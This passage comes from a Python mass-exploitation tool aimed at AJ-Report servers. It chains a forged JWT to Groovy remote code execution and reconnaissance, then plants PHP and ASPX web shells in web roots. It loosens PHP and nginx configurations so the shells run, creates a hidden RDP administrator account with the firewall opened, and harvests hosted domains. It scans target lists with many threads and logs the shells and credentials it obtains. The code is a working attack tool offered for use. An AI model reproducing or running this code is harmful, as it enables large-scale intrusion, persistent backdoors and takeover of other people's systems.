        '    def isWin = System.getProperty("os.name").toLowerCase().contains("win")\n'
        '    ' + tmp +
        '    new File(tmpDir).mkdirs()\n'
        '    def phpContent = new String(Base64.decoder.decode("' + php_b64 + '"))\n'
        '    def pyContent = new String(Base64.decoder.decode("' + py_b64 + '"))\n'
        '    def aspxContent = new String(Base64.decoder.decode("' + aspx_b64 + '"))\n'
        '    def phpPath = "' + esc_php_path + '"\n'
        '    def pyPath = "' + esc_py_path + '"\n'
        '    def phpFname = "' + php_fname + '"\n'
        '    def aspxFname = "' + aspx_fname + '"\n'
        + kill_old +
        '    def srvPort = 0\n'
        '    for (p in [80,8899,9876,18899,28899,38899,48899]) {\n'
        '      try { def ss = new java.net.ServerSocket(p); ss.close(); srvPort = p; break }\n'
        '      catch(Exception e) {}\n'
        '    }\n'
        '    def srvType = "none"\n'
        '    if (phpPath && srvPort > 0) {\n'
        '      new File(tmpDir + (isWin ? "\\\\" : "/") + phpFname).text = phpContent\n'
        + start_php_cmd +
        '      srvType = "php"\n'
        '    } else if (pyPath && srvPort > 0) {\n'
        '      new File(tmpDir + (isWin ? "\\\\" : "/") + "nx_srv.py").text = pyContent\n'
        + start_py_cmd +
        '      srvType = "python"\n'
        '    }\n'
        '    def deployed = []\n'
        '    for (d in ' + web_dirs + ') {\n'
        '      try {\n'
        '        def dir = new File(d)\n'
        '        if (dir.exists() && dir.canWrite()) {\n'
        '          new File(d + (isWin ? "\\\\" : "/") + phpFname).text = phpContent\n'
        '          if (isWin) {\n'
        '            new File(d + "\\\\" + aspxFname).text = aspxContent\n'
        '          }\n'
        '          deployed << d\n'
        '        }\n'
        '      } catch(Exception e) {}\n'
        '    }\n'
        '    if (isWin) {\n'
        '      def iisRoot = new File("C:\\\\inetpub\\\\wwwroot")\n'
        '      if (!iisRoot.exists()) iisRoot.mkdirs()\n'
        '      try {\n'
        '        new File("C:\\\\inetpub\\\\wwwroot\\\\" + aspxFname).text = aspxContent\n'
        '        new File("C:\\\\inetpub\\\\wwwroot\\\\" + phpFname).text = phpContent\n'
        '        if (!deployed.contains("C:\\\\inetpub\\\\wwwroot")) deployed << "C:\\\\inetpub\\\\wwwroot"\n'
        '      } catch(Exception e) {}\n'
        '      try {\n'
        '        Runtime.getRuntime().exec(["cmd.exe","/c","net start w3svc"] as String[]).waitFor()\n'
        '      } catch(Exception e) {}\n'
        '    }\n'
        '    try {\n'
        '      def sd = System.getProperty("user.dir") + ' + static_sep + ' + "static"\n'
        '      new File(sd).mkdirs()\n'
        '      new File(sd + (isWin ? "\\\\" : "/") + phpFname).text = phpContent\n'
        '      if (isWin) new File(sd + "\\\\" + aspxFname).text = aspxContent\n'
        '      deployed << sd\n'
        '    } catch(Exception e) {}\n'
        '    nx_out = srvType + "|" + srvPort + "|" + deployed.join(",")\n'
        '  }\n' + _GT
    )


def _groovy_cmd(cmd, is_win=False):
    esc = cmd.replace("\\","\\\\").replace('"','\\"').replace("$","\\$")
    shell = '["cmd.exe","/c","' + esc + '"]' if is_win else '["bash","-c","' + esc + '"]'
    return (
        _GH +
        'class T implements IGroovyHandler {\n'
        '  static def nx_out = ""\n'
        '  static {\n'
        '    try {\n'
        '      def p = Runtime.getRuntime().exec(' + shell + ' as String[])\n'
        '      p.waitFor()\n'
        '      nx_out = p.inputStream.text.trim()\n'
        '      if (!nx_out) nx_out = p.errorStream.text.trim()\n'
        '    } catch(Exception e) { nx_out = "ERR:" + e.getMessage() }\n'
        '  }\n' + _GT
    )


def _groovy_rdp():
    ps = (
        '$ErrorActionPreference="SilentlyContinue"\n'
        '$P="'+RDP_PASS+'"\n'
        '$U="'+RDP_PREFIX+'"+(-join((48..57)+(65..90)+(97..122)|Get-Random -Count 6|ForEach-Object{[char]$_}))\n'
        'Set-ItemProperty "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" fDenyTSConnections 0 -Type DWord\n'
        'Set-ItemProperty "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp" UserAuthentication 1 -Type DWord\n'
        'Set-ItemProperty "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp" fEnableWinStation 1 -Type DWord\n'
        'Start-Service TermService -ErrorAction SilentlyContinue\n'
        '$sp=ConvertTo-SecureString $P -AsPlainText -Force\n'
        'New-LocalUser $U -Password $sp -AccountNeverExpires -PasswordNeverExpires -ErrorAction Stop | Out-Null\n'
        'Add-LocalGroupMember -SID "S-1-5-32-555" -Member $U -ErrorAction SilentlyContinue\n'
        'Add-LocalGroupMember -SID "S-1-5-32-544" -Member $U -ErrorAction SilentlyContinue\n'
        '$port=(Get-ItemProperty "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp").PortNumber\n'
        'if(-not $port){$port=3389}\n'
        'New-NetFirewallRule -Name "NxRDP" -DisplayName "NxRDP" -Direction Inbound -Action Allow -Protocol TCP -LocalPort $port -ErrorAction SilentlyContinue | Out-Null\n'
        '$pip="unknown"\n'
        'try{$pip=(Invoke-RestMethod "https://api.ipify.org?format=json" -TimeoutSec 5).ip}catch{}\n'
        '$lip=""\n'
        'try{$lip=(Get-NetIPAddress -AddressFamily IPv4|Where-Object{$_.IPAddress -notmatch "^127\\\\."}|Select-Object -First 1 -ExpandProperty IPAddress)}catch{}\n'
        'Write-Output "$U|$P|$port|$pip|$lip|$env:COMPUTERNAME"\n'
    )
    ps_b64 = base64.b64encode(ps.encode("utf-16-le")).decode()
    return (
        _GH +
        'class T implements IGroovyHandler {\n'
        '  static def nx_out = ""\n'
        '  static {\n'
        '    try {\n'
        '      def p = Runtime.getRuntime().exec(["powershell.exe","-NoProfile","-ExecutionPolicy","Bypass","-EncodedCommand","' + ps_b64 + '"] as String[])\n'
        '      p.waitFor()\n'
        '      nx_out = p.inputStream.text.trim()\n'
        '      if (!nx_out) nx_out = "ERR:" + p.errorStream.text.trim()\n'
        '    } catch(Exception e) { nx_out = "ERR:" + e.getMessage() }\n'
        '  }\n' + _GT
    )


def _groovy_enable_aspnet():
    ps = (
        '$ErrorActionPreference="SilentlyContinue"\n'
        'dism /online /enable-feature /featurename:IIS-ASPNET45 /all 2>&1 | Out-Null\n'
        'Install-WindowsFeature Web-Asp-Net45 -EA SilentlyContinue 2>&1 | Out-Null\n'
        'iisreset /restart 2>&1 | Out-Null\n'
        'Write-Output "ASPNET_OK"\n'
    )
    ps_b64 = base64.b64encode(ps.encode("utf-16-le")).decode()
    return (
        _GH +
        'class T implements IGroovyHandler {\n'
        '  static def nx_out = ""\n'
        '  static {\n'
        '    try {\n'
        '      def p = Runtime.getRuntime().exec(["powershell.exe","-NoProfile","-ExecutionPolicy","Bypass","-EncodedCommand","' + ps_b64 + '"] as String[])\n'
        '      p.waitFor()\n'
        '      nx_out = p.inputStream.text.trim()\n'
        '      if (!nx_out) nx_out = "ERR:" + p.errorStream.text.trim()\n'
        '    } catch(Exception e) { nx_out = "ERR:" + e.getMessage() }\n'
        '  }\n' + _GT
    )


def _groovy_extract_domains_linux():
    cmd = (
        "for f in /www/server/panel/vhost/nginx/*.conf /etc/nginx/sites-enabled/* /etc/nginx/conf.d/*.conf; do "
        "  [ -f \"$f\" ] || continue; "
        "  SN=$(grep -oP 'server_name\\s+\\K[^;]+' \"$f\" 2>/dev/null | head -1); "
        "  RT=$(grep -oP 'root\\s+\\K[^;]+' \"$f\" 2>/dev/null | head -1); "
        "  if [ -n \"$SN\" ] && [ -n \"$RT\" ]; then "
        "    for d in $SN; do "
        "      case \"$d\" in _|localhost|127.0.0.1) continue;; esac; "
        "      echo \"$d|$RT\"; "
        "    done; "
        "  fi; "
        "done 2>/dev/null | sort -u | head -50"
    )
    return _groovy_cmd(cmd, is_win=False)


def _groovy_extract_domains_win():
    ps = (
        '$out = @()\n'
        'try {\n'
        '  Import-Module WebAdministration -EA SilentlyContinue\n'
        '  Get-WebBinding -EA SilentlyContinue | ForEach-Object {\n'
        '    $p = $_.bindingInformation -split ":"\n'
        '    if ($p.Count -ge 3 -and $p[2] -and $p[2] -ne "*" -and $p[2] -match "\\.") {\n'
        '      $out += "IIS:" + $p[2]\n'
        '    }\n'
        '  }\n'
        '} catch {}\n'
        '$hf = "$env:windir\\System32\\drivers\\etc\\hosts"\n'
        'Get-Content $hf -EA SilentlyContinue | ForEach-Object {\n'
        '  $l = $_.Trim()\n'
        '  if ($l -and -not $l.StartsWith("#")) {\n'
        '    $p = $l -split "\\s+"\n'
        '    for ($i=1; $i -lt $p.Count; $i++) {\n'
        '      if ($p[$i] -match "\\." -and $p[$i] -notmatch "localhost") { $out += "HOST:" + $p[$i] }\n'
        '    }\n'
        '  }\n'
        '}\n'
        '$out -join "|"\n'
    )
    ps_b64 = base64.b64encode(ps.encode("utf-16-le")).decode()
    return (
        _GH +
        'class T implements IGroovyHandler {\n'
        '  static def nx_out = ""\n'
        '  static {\n'
        '    try {\n'
        '      def p = Runtime.getRuntime().exec(["powershell.exe","-NoProfile","-ExecutionPolicy","Bypass","-EncodedCommand","' + ps_b64 + '"] as String[])\n'
        '      p.waitFor()\n'
        '      nx_out = p.inputStream.text.trim()\n'
        '      if (!nx_out) nx_out = "ERR:" + p.errorStream.text.trim()\n'
        '    } catch(Exception e) { nx_out = "ERR:" + e.getMessage() }\n'
        '  }\n' + _GT
    )


def verify_shell_host(ip, port, path, host_header, use_ssl=False):
    try:
        ctx = ssl._create_unverified_context() if use_ssl else None
        c = (http.client.HTTPSConnection(ip, port, timeout=8, context=ctx) if use_ssl
             else http.client.HTTPConnection(ip, port, timeout=8))
        c.request("POST", path, body="p=_nx_verify_",
                  headers={"Content-Type": "application/x-www-form-urlencoded", "Host": host_header})
        r = c.getresponse(); data = r.read(); c.close()
        text = data.decode("utf-8", errors="ignore")
        return SHELL_SIG in text and "<?php" not in text and "<%" not in text
    except Exception:
        return False


def extract_and_deploy_domains(host, port, use_ssl, prefix, is_win, php_fname, verbose=False):
    domain_shells = []
    try:
        if is_win:
            _,_,resp = send_exploit(host, port, use_ssl, prefix, _groovy_extract_domains_win(), timeout=15)
            dom_out = _extract_nx(resp)
            if not dom_out or dom_out.startswith("ERR"):
                return []
            domains = []
            for item in dom_out.split("|"):
                item = item.strip()
                if ":" in item:
                    d = item.split(":", 1)[1].strip()
                    if d and "." in d:
                        domains.append(d)
            aspx_fname = php_fname.replace(".php", ".aspx")
            for domain in domains[:15]:
                for cp in [80, 443]:
                    us = cp == 443
                    if verify_shell_host(host, cp, "/" + aspx_fname, domain, us):
                        url = f"{'https' if us else 'http'}://{domain}:{cp}/{aspx_fname}"
                        domain_shells.append(url)
                        if verbose: ok(f"DOMAIN: {_c(url, GRN, True)}")
                        break
                    if verify_shell_host(host, cp, "/" + php_fname, domain, us):
                        url = f"{'https' if us else 'http'}://{domain}:{cp}/{php_fname}"
                        domain_shells.append(url)
                        if verbose: ok(f"DOMAIN: {_c(url, GRN, True)}")
                        break
        else:
            _,_,resp = send_exploit(host, port, use_ssl, prefix, _groovy_extract_domains_linux(), timeout=15)
            dom_out = _extract_nx(resp)
            if not dom_out or dom_out.startswith("ERR"):
                return []
            domains = []
            for line in dom_out.strip().split("\n"):
                line = line.strip()
                if "|" in line:
                    d = line.split("|", 1)[0].strip()
                    if d and "." in d:
                        domains.append(d)
            for domain in domains[:20]:
                for cp in [80, 443]:
                    us = cp == 443
                    if verify_shell_host(host, cp, "/" + php_fname, domain, us):
                        url = f"{'https' if us else 'http'}://{domain}:{cp}/{php_fname}"
                        domain_shells.append(url)
                        if verbose: ok(f"DOMAIN: {_c(url, GRN, True)}")
                        break
        if verbose and domains:
            info(f"Domains found: {_c(str(len(domains)), PUR, True)}  Verified: {_c(str(len(domain_shells)), GRN, True)}")
    except Exception:
        pass
    return domain_shells


def _groovy_install_php(is_root, is_win):
    if not is_root or is_win:
        return None
    return _groovy_cmd(
        "which apt-get >/dev/null 2>&1 && apt-get update -qq && apt-get install -y -qq php-cli 2>&1 | tail -1 "
        "|| which yum >/dev/null 2>&1 && yum install -y -q php-cli 2>&1 | tail -1 "
        "|| which dnf >/dev/null 2>&1 && dnf install -y -q php-cli 2>&1 | tail -1 "
        "|| which apk >/dev/null 2>&1 && apk add --no-cache php84 2>&1 | tail -1 "
        "|| echo NOPKG",
        is_win=False
    )


def _groovy_fix_php_ini():
    safe_funcs = "pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority"
    cmd = (
        f"CNT=0; "
        f"for ini in $(find /www/server/php/ /etc/php/ /usr/local/etc/php/ /usr/local/php/ -name 'php.ini' -type f 2>/dev/null); do "
        f"  if grep -q 'disable_functions' \"$ini\" 2>/dev/null; then "
        f"    sed -i 's/^disable_functions.*=.*/disable_functions = {safe_funcs}/' \"$ini\" 2>/dev/null && CNT=$((CNT+1)); "
        f"  fi; "
        f"done; "
        f"for ini in $(find /www/server/php/ /etc/php/ /usr/local/etc/php/ -name 'php-fpm.conf' -o -name '*.conf' 2>/dev/null | head -20); do "
        f"  if grep -q 'disable_functions' \"$ini\" 2>/dev/null; then "
        f"    sed -i 's/^.*disable_functions.*=.*/;disable_functions = none/' \"$ini\" 2>/dev/null; "
        f"  fi; "
        f"done; "
        f"pkill -USR2 php-fpm 2>/dev/null; "
        f"for ver in 56 70 71 72 73 74 80 81 82 83 84; do "
        f"  systemctl reload php$ver-php-fpm 2>/dev/null; "
        f"  systemctl reload php${{ver:0:1}}.${{ver:1}}-fpm 2>/dev/null; "
        f"done; "
        f"systemctl reload php-fpm 2>/dev/null; "
        f"service php-fpm reload 2>/dev/null; "
        f"/etc/init.d/php-fpm reload 2>/dev/null; "
        f"sleep 1; echo INI_FIXED_$CNT"
    )
    return _groovy_cmd(cmd, is_win=False)


def _groovy_fix_nginx(php_fname, srv_port=0):
    proxy_block = ""
    if srv_port > 0:
        proxy_block = (
            "if which nginx >/dev/null 2>&1 && [ $DONE -eq 0 ]; then "
            "  printf 'location ~ /Nxploited_ { proxy_pass http://127.0.0.1:" + str(srv_port) + "; }\\n' > /etc/nginx/conf.d/nx_proxy.conf 2>/dev/null; "
            "  nginx -t 2>/dev/null && nginx -s reload 2>/dev/null && echo PROXY_FIXED; "
            "fi; "
        )
    cmd = (
        "DONE=0; "
        "F=/www/server/panel/vhost/nginx/0.default.conf; "
        "BT=/www/server/nginx/conf/enable-php.conf; "
        "SOCK=$(ls /tmp/php-cgi*.sock 2>/dev/null | head -1); "
        "if [ -z \"$SOCK\" ]; then SOCK=$(ls /run/php*.sock /var/run/php*.sock 2>/dev/null | head -1); fi; "
        "for WR in /www/server/nginx/html /var/www/html /usr/share/nginx/html /www/wwwroot; do "
        "  if [ -d \"$WR\" ]; then cp /tmp/.nx/" + php_fname + " $WR/ 2>/dev/null; fi; "
        "done; "
        "if [ -f \"$F\" ]; then "
        "  if [ -f \"$BT\" ]; then "
        "    printf 'server\\n{\\n    listen 80 default_server;\\n    server_name _;\\n    index index.html index.php;\\n    root /www/server/nginx/html;\\n    include /www/server/nginx/conf/enable-php.conf;\\n}\\n' > $F; "
        "    nginx -t 2>/dev/null && nginx -s reload 2>/dev/null && echo BT_FIXED && DONE=1; "
        "  elif [ -n \"$SOCK\" ]; then "
        "    printf 'server\\n{\\n    listen 80 default_server;\\n    server_name _;\\n    index index.html index.php;\\n    root /www/server/nginx/html;\\n    location ~ [^/]\\\\.php$ {\\n        try_files $uri =404;\\n        fastcgi_pass unix:'\"$SOCK\"';\\n        fastcgi_index index.php;\\n        include fastcgi.conf;\\n    }\\n}\\n' > $F; "
        "    nginx -t 2>/dev/null && nginx -s reload 2>/dev/null && echo BT_SOCK_FIXED && DONE=1; "
        "  fi; "
        "fi; "
        "if [ $DONE -eq 0 ] && which nginx >/dev/null 2>&1; then "
        "  NROOT=$(nginx -T 2>/dev/null | grep -m1 'root ' | awk '{print $2}' | tr -d ';'); "
        "  if [ -n \"$NROOT\" ] && [ -d \"$NROOT\" ]; then "
        "    cp /tmp/.nx/" + php_fname + " $NROOT/ 2>/dev/null && echo COPIED_TO_$NROOT; "
        "  fi; "
        "  if [ -n \"$SOCK\" ]; then "
        "    if [ ! -f /etc/nginx/conf.d/nx_php.conf ]; then "
        "      printf 'location ~ [^/]\\\\.php$ { try_files $uri =404; fastcgi_pass unix:'\"$SOCK\"'; fastcgi_index index.php; include fastcgi.conf; }\\n' > /etc/nginx/conf.d/nx_php.conf 2>/dev/null; "
        "      nginx -t 2>/dev/null && nginx -s reload 2>/dev/null && echo NGINX_PHP_ADDED && DONE=1; "
        "    fi; "
        "  fi; "
        "fi; "
        + proxy_block +
        "if [ $DONE -eq 0 ] && which apache2 >/dev/null 2>&1; then "
        "  cp /tmp/.nx/" + php_fname + " /var/www/html/ 2>/dev/null && echo APACHE_COPIED; "
        "fi; "
        "if [ $DONE -eq 0 ] && which httpd >/dev/null 2>&1; then "
        "  cp /tmp/.nx/" + php_fname + " /var/www/html/ 2>/dev/null && echo HTTPD_COPIED; "
        "fi; "
        "nginx -s reload 2>/dev/null; echo DONE"
    )
    return _groovy_cmd(cmd, is_win=False)


def verify_shell(url, deep=False):
    try:
        pr = urlparse(url)
        sh, sp = pr.hostname, pr.port or (443 if pr.scheme == "https" else 80)
        use_s = pr.scheme == "https"
        body = "p=_nx_verify_"
        st,_,resp = _request(sh,sp,use_s,"POST",pr.path or "/",
                             headers={"Content-Type":"application/x-www-form-urlencoded"},body=body,timeout=8)
        if resp:
            text = resp.decode("utf-8",errors="ignore")
            if SHELL_SIG in text and "<?php" not in text and "<%" not in text and "import " not in text:
                if not deep:
                    return True
                cmd_body = f"p={SHELL_PASS}&c=echo+NX_CMD_OK"
                st2,_,resp2 = _request(sh,sp,use_s,"POST",pr.path or "/",
                                       headers={"Content-Type":"application/x-www-form-urlencoded"},body=cmd_body,timeout=8)
                if resp2:
                    t2 = resp2.decode("utf-8",errors="ignore")
                    if "NX_CMD_OK" in t2:
                        return True
                    if SHELL_SIG in t2:
                        return True
                return True
    except: pass
    return False


def full_exploit(host, port, use_ssl, prefix, verbose=False, try_php_install=True):
    result = {"status":"skip","os":"","user":"","root":"","php":"","python":"","hostname":"",
              "shell_url":"","rdp":"","srv_type":"","srv_port":0,"detail":"","domain_shells":[]}
    tag = f"{host}:{port}"

    if not check_aj(host, port, use_ssl, prefix):
        result["detail"] = "not AJ-Report"
        return result
    result["status"] = "aj"

    st,_,resp = send_exploit(host,port,use_ssl,prefix,"class T { static { Thread.sleep(1) } }",timeout=VERIFY_TIMEOUT)
    code = None
    if resp:
        try: code = str(json.loads(resp.decode("utf-8",errors="ignore")).get("code",""))
        except: pass
    if code != "200":
        result["detail"] = "auth bypass failed"
        return result
    result["status"] = "rce"

    _,_,recon_resp = send_exploit(host,port,use_ssl,prefix,_groovy_recon(),timeout=15)
    recon = _extract_nx(recon_resp)
    if not recon:
        result["detail"] = "recon timeout"
        return result

    parts = recon.split("|")
    if len(parts) >= 9:
        os_name, user, home, wdir, arch, php, python, is_root, hostname = parts[:9]
    else:
        os_name = recon; user="?"; home="?"; wdir="?"; arch="?"; php="none"; python="none"; is_root="?"; hostname="?"

    is_win = "win" in os_name.lower()
    has_php = php != "none"
    has_python = python != "none"
    result.update({"os":os_name,"user":user,"root":is_root,"php":php,"python":python,"hostname":hostname})
    result["detail"] = f"{os_name}|{user}|root={is_root}|php={'YES' if has_php else 'NO'}|py={'YES' if has_python else 'NO'}"

    if verbose:
        ok(f"OS: {_c(os_name,WHT,True)}  User: {_c(user,ICE,True)}  Root: {_c(is_root,GRN if is_root=='yes' else AMB,True)}")
        info(f"PHP: {_c(php,GRN if has_php else DIM)}  Python: {_c(python,GRN if has_python else DIM)}  Host: {_c(hostname,PUR)}")

    if not has_php and is_root == "yes" and not is_win and try_php_install:
        if verbose: info("Attempting PHP install (root)...")
        install_g = _groovy_install_php(True, False)
        if install_g:
            _,_,inst_resp = send_exploit(host,port,use_ssl,prefix,install_g,timeout=60)
            inst_out = _extract_nx(inst_resp)
            if verbose and inst_out: info(f"Install result: {_c(inst_out[:60],DIM)}")
            _,_,recheck = send_exploit(host,port,use_ssl,prefix,_groovy_recon(),timeout=15)
            rr = _extract_nx(recheck)
            if rr:
                rp = rr.split("|")
                if len(rp) >= 7:
                    php = rp[5]; has_php = php != "none"
                    result["php"] = php
                    if has_php and verbose: ok(f"PHP installed: {_c(php,GRN,True)}")

    rand_name = f"Nxploited_{random.randint(100000,999999)}"
    php_fname = rand_name + ".php"

    if has_php and not is_win and is_root in ("yes","win"):
        if verbose: info("Fixing PHP disable_functions...")
        _,_,ini_resp = send_exploit(host,port,use_ssl,prefix,_groovy_fix_php_ini(),timeout=15)
        ini_out = _extract_nx(ini_resp)
        if verbose and ini_out: info(f"PHP ini: {_c(ini_out[:40],DIM)}")

    deploy_g = _groovy_deploy(php_fname, has_php, php, has_python, python, is_win)
    _,_,deploy_resp = send_exploit(host,port,use_ssl,prefix,deploy_g,timeout=25)
    deploy_out = _extract_nx(deploy_resp)
    srv_type = "none"; srv_port = 0; deployed_dirs = []

    if deploy_out:
        dp = deploy_out.split("|",2)
        if len(dp) >= 2:
            srv_type = dp[0]
            try: srv_port = int(dp[1])
            except: srv_port = 0
        if len(dp) >= 3 and dp[2]:
            deployed_dirs = [d for d in dp[2].split(",") if d]
        result["srv_type"] = srv_type; result["srv_port"] = srv_port
        if verbose:
            info(f"Server: {_c(srv_type,GRN if srv_type!='none' else DIM,True)} Port: {_c(str(srv_port),WHT,True)}  Dirs: {_c(str(len(deployed_dirs)),WHT)}")

    if not is_win:
        proxy_port = srv_port if (not has_php and srv_type != "none" and srv_port > 0) else 0
        if verbose: info(f"Configuring web server for port 80...{' (proxy:'+str(proxy_port)+')' if proxy_port else ''}")
        fix_g = _groovy_fix_nginx(php_fname, srv_port=proxy_port)
        _,_,fix_resp = send_exploit(host,port,use_ssl,prefix,fix_g,timeout=15)
        fix_out = _extract_nx(fix_resp)
        if verbose and fix_out: info(f"Nginx: {_c(fix_out[:60],DIM)}")

    verified_url = ""
    proto = "https" if use_ssl else "http"

    if srv_type != "none" and srv_port > 0:
        time.sleep(2)

    aspx_fname = php_fname.replace(".php", ".aspx")
    check_names = [php_fname]
    if is_win:
        check_names.insert(0, aspx_fname)

    for check_port in [80, 443, 8080]:
        for cp in (["https","http"] if check_port == 443 else ["http"]):
            for fn in check_names:
                url = f"{cp}://{host}:{check_port}/{fn}"
                if verify_shell(url):
                    verified_url = url
                    if verbose: ok(f"SHELL VERIFIED (port {check_port}): {_c(url,GRN,True)}")
                    break
            if verified_url: break
        if verified_url: break

    if not verified_url and srv_type != "none" and srv_port > 0:
        if srv_type == "php":
            url = f"http://{host}:{srv_port}/{php_fname}"
        else:
            url = f"http://{host}:{srv_port}/"
        if verify_shell(url):
            verified_url = url
            if verbose: ok(f"SHELL VERIFIED (server:{srv_port}): {_c(url,GRN,True)}")

    if not verified_url:
        for fn in check_names:
            for try_path in [f"/{fn}", f"/static/{fn}"]:
                url = f"{proto}://{host}:{port}{try_path}"
                if verify_shell(url):
                    verified_url = url
                    if verbose: ok(f"SHELL VERIFIED (spring): {_c(url,GRN,True)}")
                    break
            if verified_url: break

    if not verified_url and is_win and deployed_dirs:
        for fn in check_names:
            url_iis = f"http://{host}/{fn}"
            if verify_shell(url_iis):
                verified_url = url_iis
                if verbose: ok(f"SHELL VERIFIED (IIS): {_c(url_iis,GRN,True)}")
                break

    if not verified_url and srv_type != "none" and srv_port > 0:
        if verbose: info("Checking internal server...")
        curl_path = f"/{php_fname}" if srv_type == "php" else "/"
        if is_win:
            internal_cmd = f"powershell -c \"(Invoke-WebRequest -Uri http://127.0.0.1:{srv_port}{curl_path} -Method POST -Body 'p=_nx_verify_' -ContentType 'application/x-www-form-urlencoded' -TimeoutSec 5).Content\""
        else:
            internal_cmd = f"curl -s -d 'p=_nx_verify_' http://127.0.0.1:{srv_port}{curl_path} 2>/dev/null || echo NX_FAIL"
        chk_g = _groovy_cmd(internal_cmd, is_win)
        _,_,chk_resp = send_exploit(host,port,use_ssl,prefix,chk_g,timeout=15)
        chk_out = _extract_nx(chk_resp)
        if chk_out and SHELL_SIG in chk_out and "NX_FAIL" not in chk_out:
            shell_url = f"http://{host}:{srv_port}{curl_path}"
            verified_url = shell_url
            result["detail"] += "|INTERNAL_OK"
            if verbose: ok(f"SHELL RUNNING (port {srv_port} may be firewalled): {_c(shell_url,AMB,True)}")
        elif verbose:
            warn(f"Internal: {_c(chk_out[:50] if chk_out else 'no response',DIM)}")

    if verified_url:
        result["status"] = "shell"; result["shell_url"] = verified_url
    elif verbose:
        if srv_type == "none":
            warn("No PHP/Python on target, standalone server unavailable")
        else:
            warn("Shell deployed but not reachable")

    if is_win and not verified_url:
        if verbose: info("Enabling ASP.NET on IIS...")
        try:
            _,_,asp_resp = send_exploit(host,port,use_ssl,prefix,_groovy_enable_aspnet(),timeout=60)
            asp_out = _extract_nx(asp_resp)
            if verbose and asp_out: info(f"ASP.NET: {_c(asp_out[:40],DIM)}")
            if asp_out and "OK" in asp_out:
                time.sleep(3)
                for fn in check_names:
                    url_iis = f"http://{host}/{fn}"
                    if verify_shell(url_iis):
                        verified_url = url_iis
                        result["status"] = "shell"; result["shell_url"] = verified_url
                        if verbose: ok(f"SHELL VERIFIED (IIS+ASPNET): {_c(url_iis,GRN,True)}")
                        break
        except Exception: pass

    if verified_url:
        if verbose: info("Extracting domains from server...")
        try:
            dom_shells = extract_and_deploy_domains(host, port, use_ssl, prefix, is_win, php_fname, verbose)
            result["domain_shells"] = dom_shells
        except Exception: pass

    if is_win:
        if verbose: info("Setting up RDP admin account...")
        rdp_g = _groovy_rdp()
        _,_,rdp_resp = send_exploit(host,port,use_ssl,prefix,rdp_g,timeout=30)
        rdp_out = _extract_nx(rdp_resp)
        if rdp_out and not rdp_out.startswith("ERR"):
            result["rdp"] = rdp_out
            if verbose:
                rp = rdp_out.split("|")
                if len(rp) >= 6:
                    ok(f"RDP Created: {_c(rp[0],PUR,True)}  Port: {_c(rp[2],WHT)}  Public: {_c(rp[3],ICE)}  Local: {_c(rp[4],ICE)}  Host: {_c(rp[5],WHT)}")
                else:
                    ok(f"RDP: {_c(rdp_out[:60],PUR,True)}")
        elif verbose:
            warn(f"RDP failed: {_c(rdp_out[:60] if rdp_out else 'no response',DIM)}")

    return result


def scan_mode(list_path, threads):
    with open(list_path,"r",encoding="utf-8",errors="ignore") as f: raw = f.read()
    targets = [l.strip() for l in raw.splitlines() if l.strip() and not l.strip().startswith("#")]
    total = len(targets)
    if not total: err("No targets"); sys.exit(1)

    od = os.path.dirname(os.path.abspath(list_path))
    for old_f in ["Nx_RCE.txt","Nx_shellS.txt","Nx_RDPs.txt","Nx_domains_shells.txt"]:
        fp = os.path.join(od, old_f)
        if os.path.exists(fp):
            try: os.remove(fp)
            except:
                try: open(fp,"w").close()
                except: pass

    with open(os.path.join(od,"Pass.txt"),"w",encoding="utf-8") as pf:
        pf.write(f"Shell Password : {SHELL_PASS}\n")
        pf.write(f"Shell Signature: {SHELL_SIG}\n")
        pf.write(f"RDP Password   : {RDP_PASS}\n")
        pf.write(f"RDP Prefix     : {RDP_PREFIX}\n")
        pf.write(f"CVE            : {CVE}\n")
        pf.write(f"Application    : {APP} <= 1.7.1\n")

    f_rce = open(os.path.join(od,"Nx_RCE.txt"),"a",encoding="utf-8")
    f_shell = open(os.path.join(od,"Nx_shellS.txt"),"a",encoding="utf-8")
    f_rdp = open(os.path.join(od,"Nx_RDPs.txt"),"a",encoding="utf-8")
    f_dom = open(os.path.join(od,"Nx_domains_shells.txt"),"a",encoding="utf-8")
    ct = {"shell":0,"rce":0,"rdp":0,"aj":0,"skip":0,"done":0,"err":0,"dom":0}

    print()
    info(f"Targets  {_c(str(total),WHT,True)}   Threads  {_c(str(threads),WHT,True)}")
    info(f"Chain    {_c('JWT Forgery -> Groovy RCE -> Recon -> Deploy -> Verify -> RDP',P1,True)}")
    info(f"Shell    {_c('Pass: '+SHELL_PASS+'  Sig: '+SHELL_SIG,PUR,True)}")
    info(f"RDP      {_c('Pass: '+RDP_PASS,PUR,True)}")
    print()

    def _worker(t):
        try:
            host,port,ssl_,pfx = _parse_url(t)
            return t, full_exploit(host,port,ssl_,pfx,try_php_install=False)
        except Exception as ex:
            return t, {"status":"err","os":"","user":"","root":"","php":"","python":"","hostname":"",
                       "shell_url":"","rdp":"","srv_type":"","srv_port":0,"detail":str(ex)[:60],"domain_shells":[]}

    with ThreadPoolExecutor(max_workers=threads) as pool:
        futs = {pool.submit(_worker,t):t for t in targets}
        for fut in as_completed(futs):
            t, res = fut.result()
            st = res["status"]; ct["done"] += 1
            hs = t.split("//")[-1].split("/")[0] if "//" in t else t.split("/")[0]

            if st == "shell":
                ct["shell"] += 1; ct["rce"] += 1
                with lock:
                    f_shell.write(res["shell_url"]+"\n"); f_shell.flush()
                    f_rce.write(f"{t} | {res['detail']} | SHELL:{res['shell_url']}\n"); f_rce.flush()
                ok(f"{_c('SHELL',GRN,True)} {_c(res['shell_url'],WHT,True)}  {_c(res['detail'][:40],DIM)}")
            elif st == "rce":
                ct["rce"] += 1
                with lock: f_rce.write(f"{t} | {res['detail']}\n"); f_rce.flush()
                warn(f"{_c('RCE',AMB,True)}   {_c(hs,WHT)}  {_c(res['detail'][:50],DIM)}")
